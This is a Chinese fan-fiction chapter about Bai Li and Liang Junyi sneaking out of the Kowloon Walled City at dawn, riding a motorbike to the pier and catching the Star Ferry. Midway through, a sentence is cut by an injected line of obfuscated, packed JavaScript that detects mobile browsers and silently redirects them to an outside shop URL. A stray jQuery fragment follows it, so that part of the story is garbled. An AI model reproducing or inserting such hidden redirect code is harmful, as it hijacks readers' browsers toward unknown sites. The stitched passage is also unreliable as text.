白里昨天收工前找机会跟陈伯请了假,说自己有点事要处理。
虽然拒绝了梁俊义,但这话也不算借口。
谁说想让自己喘口气不算是件亟待处理的大事?
所以今日白里特意起了个大早。
也不是想着非要避开谁,单纯是不想浪费这假期的每一秒。
她只是想给自己放个假。
今日她想走远一点,哪怕只是沿着城寨的周边随意逛逛。
穿上了不出错的白衫黑裤,背上帆布包,在即将出门时,白里又停下了脚步。
屋内的提子还在呼呼大睡,她回头看着床头犹豫了半天,还是去最下层的抽屉深处取了想带的东西放进包里。
此时城寨的天也才蒙蒙亮,白里站在福盛楼的门口陷入了短暂的迷茫。
左拐是往天后庙去的方向,右拐是制衣厂的旧路,直着往前走就能走出城寨,去医馆的方向自动被大脑从选项里剔除。
今天是她第一次不知道要去哪里,因为东西南北哪哪都是方向。
那就干脆交给两枚硬币来决定。
硬币抛起,白里试图像电视剧里那样拍在手背上去接。
“阿妹!阿妹!”
旁边巷子口传来了小声呼喊。
白里分神的功夫,价值两蚊的钱就掉在了地上,叮叮咚咚地一路飞进了路边的下水沟。
美好的一天从损失财富开始。
耳畔的声音还在,挥之不去。“阿妹!这边这边~”
眼看收回财富无望,白里觉得自己大概是失去了一些美好的品德,眯着眼睛看向那边巷口冒出个头的家伙,然后愣在了原地。
工装短檐帽配上黑墨镜,一身驼色的磨毛飞行员夹克,在如此昏暗的光线下,几乎只能看见一副大白牙在笑着。
梁俊义眼看着阿妹注意到了自己,于是住嘴,但大力挥手到像要起飞。
明明周围一片寂静,白里却觉得自己的眼睛有被吵到。
于是赶在又一次催促前,赶紧凑了过去。
还没来得及开口,一顶同款短檐帽就稳稳地扣在了头上。
帽围大了一圈,塌下来几乎遮住了她大部分的视线,感觉跟戴上了个头套也没差多少。
现在别说是谁想看出她身份了,就连她自己都只能看清脚下的几步路。
“快啲啦,今日同你溜出城寨过港岛威下!”
白里懵圈地看着焕发新装的梁俊义扔下一句话,就摩拳擦掌地开始往前走。
自己的脑袋还没转过弯,脚步已然跟了上去。
她其实真的有很多问题想问,脑海里滚着颗有无数线头的毛线团。
比如梁俊义什么时候到的,他们今天要去哪里?等下...她答应了吗?
所以提子昨晚突然接到安排,也是梁俊义做的?可他又是怎么瞒过蓝信一的...
而且明明有宽敞的直路不走,为什么要七扭八歪地在小巷里乱窜啊?
哦...他们好像也不是能被街坊看见的关系。这样的路线蛮好的!
偏僻巷子的路窄到只能侧身走,头顶不是密密麻麻的电线,就是连天蔽日的各式招牌和屋檐。
梁俊义走在前面,时不时回头确认白里有没有跟上。
两人还不是能够牵手的关系,所以梁俊义特意将外套后摆递到了白里手中,遇到水洼垃圾处还会小声提醒。
梁俊义每到一个路口都要探头探脑,仔细打量下有无早起的阿婆,弯腰躲过商铺后窗可能的视线,再侧身避开街坊放的湿拖把,确认无误后才小心翼翼地往后勾勾手。
于是他的小跟班也难免狗狗祟祟地缩起头,亦步亦趋地拽着衣角跟在身后。
白里从刚开始的磕磕绊绊,到后面已经能发展到轻松领悟到梁俊义每一次停顿的意思。
两人从生疏到默契地像一对潜行的史密斯夫妇,其实中间也只差了几次险些被街坊迎面撞上的惊险时刻。
城寨清晨的风吹过两只狗狗祟祟地在迷宫中穿行的小老鼠。
老鼠们时走时停,偶尔绕路,间歇窸窸窣窣地小声交流,在差点被发现时一同僵在原地,屏住呼吸,然后在危机解除后飞速逃之夭夭。
在城寨这座庞然巨兽醒来之前,白里终于看到了不知是哪路巷口的光线,仿佛游戏中的通关点,在视野中几乎要带上一小片白亮的圣光。
还没等她担心守巷口的龙城帮小弟,只见梁俊义猫着腰停了下来,回头做了个停下的手势。
他往前走了几步,看了下大致的情况后就缩了回来。
白里扶起帽檐,实在看不清他墨镜后的眼神,但能看到他嘴角扬起的弧度。
梁俊义将她安排躲在了一堆杂物的后面,而后果断地捡起块地上的石头就往前扔去。
在龙城帮小弟骂骂咧咧地回头查看的前一秒,梁俊义猛地躲回了白里的身边。
他的背撞在了墙上,肩膀贴着她的肩膀,与白里惊诧目光对视的时候,还开朗地笑了下。
...到底在开朗些什么?
我只是想放个假,不是要叛出城寨啊...
白里看着黑墨镜上映出来自己绝望到目瞪口呆的脸。
脑海里已经出现了神奇的画面:
自己和梁俊义跪在理发铺认错,龙卷风全程黑着脸,旁边被砸伤的小弟捂着头控诉。
然后Tiger哥前来领走了梁俊义,提子在外面进不来,徒留自己跪在原地,只有蓝信一恨铁不成钢地瞪了眼自己,在跟龙卷风求情。
怎一个凄惨了得。
好在石头弹了两下,带出不小的动静,最后落在了巷子口外。
此时巷口恰好有人叫住小弟打招呼寒暄。
不一会儿,二人拉扯交谈的声音渐行渐远。
梁俊义压低声音,“快跟我行,吉祥兜唔住场面,佢哋唔算老友,好快就瞒唔住。”
(快走啦,吉祥拖不了多久,他们没多熟。)
身体总是先思绪一步。
白里跟着梁俊义跑出了城寨,慌忙间连绑头发用的皮绳掉落在了中途都恍然未觉,马尾已然散成了一头披肩长发。
终于是气喘吁吁地坐上黑色机车的后座。
天光大亮,机车的轰鸣声唤醒了看着周围愣神的白里。
长发如同海藻般随风乱作一团,每一缕都在往不同的方向乱飞。
白里回头看着密密麻麻的层叠楼房逐渐变远,九龙城寨那些所有在近处看都格外粗糙、混乱、令人窒息的建筑,在距离的作用下都成为了模糊的色块,继而慢慢缩小成一个点,最后消失在远方。
冬日清晨机车上的风带着冷意,吹透了白衫,粗暴地灌进领口里。
白里收回视线,下意识地抱紧了梁俊义。
手臂环住了紧实的腰,十指在他的上腹交扣,掌心贴着磨毛夹克的绒毛,能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724170|204882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
感受到呼吸时腹部的起伏。
侧脸靠在带着暖意的背上,昨天若即若离的触碰和想象已然变成了现实,他的背比白里想象中更宽。
梁俊义的身形僵硬了一瞬,随后便是机车骤然的加速
短檐帽早就不知道何时掉到了何处,白里任由发丝在身后与风共舞。
机车驶进了港岛清晨的第一缕阳光里。
这是一场意料之外的出逃。
-
现实要是和小说一样浪漫就好了。
被风吹到炸毛,加之冷到骨髓里,二者怨念都汇集到一处,站在天星码头的白里看起来跟女鬼有的一拼。
可还没缓过神,甚至没来得及生气。
白里刚把嘴里的头发丝扯出来,梁俊义就买好了票,回身抓住她的手臂就往远处的绿白色小轮那边跑。
“快啲行啦阿妹,小轮即刻就开?!”(快走啦阿妹,船马上要开啦。)
兴奋的声音被嘈杂的环境音和码头的风吹得断断续续。
梁俊义像只挣脱主人的二哈,而此刻的白里既不是绝望的主人,也不是开心的小狗友。
她只是一根被二哈拽着的,身不由己的可怜牵引绳。
面前的人群熙熙攘攘,每个人都有着自己迫切要去的地方。
要去上班的港岛青年,赶去买菜的阿婆阿伯,着急去开摊的市井小贩,哪一个都比白里要深谙在拥挤人流中穿行的道理。
她被人群裹挟着往前推,可没几步又被逆向的人潮撞了回来。
身体已然不是自己的,白里淹没在人堆中,挤来挤去地快成一块夹心饼干。
但陌生的人群之中伸出来了一只熟悉的手——是梁俊义连声说着唔该借过,从人流中逆行而来。
她实在搞不清他是怎么做到的,但他额头上冒着薄汗,连墨镜都被挤歪,却能穿过人群的缝隙,紧紧抓住了她的手臂。
然后半揽进怀里,用肩膀挡开了拥挤的人潮。
身后的胸膛传递着暖意,肩膀也远离了人群嵌在他的臂弯里,后脑勺偶尔会碰到下巴,挨着的每一处肌肤都似乎在发烫。
喧哗和拥挤都被隔在了外边,等传递到白里这儿只剩下了一层被削弱的背景音。
呼吸间都是梁俊义身上淡淡的机油味,白里努力迈着步伐往前走去,努力把注意力集中在前方,努力保持着身形的稳定,但背后的人形暖炉存在感太强。
天星小轮已经在鸣笛催客。
下船的人流与想要上船的人流挤作一团。
梁俊义连声说着抱歉,伸出手臂拨开前面僵持的人群,中间还抽空将被挤远的行李箱推回到它主人的身旁。
不知从何时起,他紧紧握着白里的手,在人潮中朝着闸口的方向前进。
两人在人潮中左冲右突,梁俊义还不忘回头确认阿妹有没有被挤散。
终于是赶着最后几秒冲上了甲板。
成群的红嘴鸥被发船惊到起飞,雪白色的翅膀与灰蓝色的水面遥遥相应。
船工拉上铁链,哐啷的声响为这一轮的冒险画上了句号。
身后的闸口处还有好几位没赶上船而着急懊悔的行人。
梁俊义和白里都撑着膝盖喘了好一会,才有力气抬起头看向彼此。
头发乱七八糟的程度不相上下,衣服也在人潮中挤得不像话,实在狼狈。
可对视的那一刻,两人都没忍住笑出了声。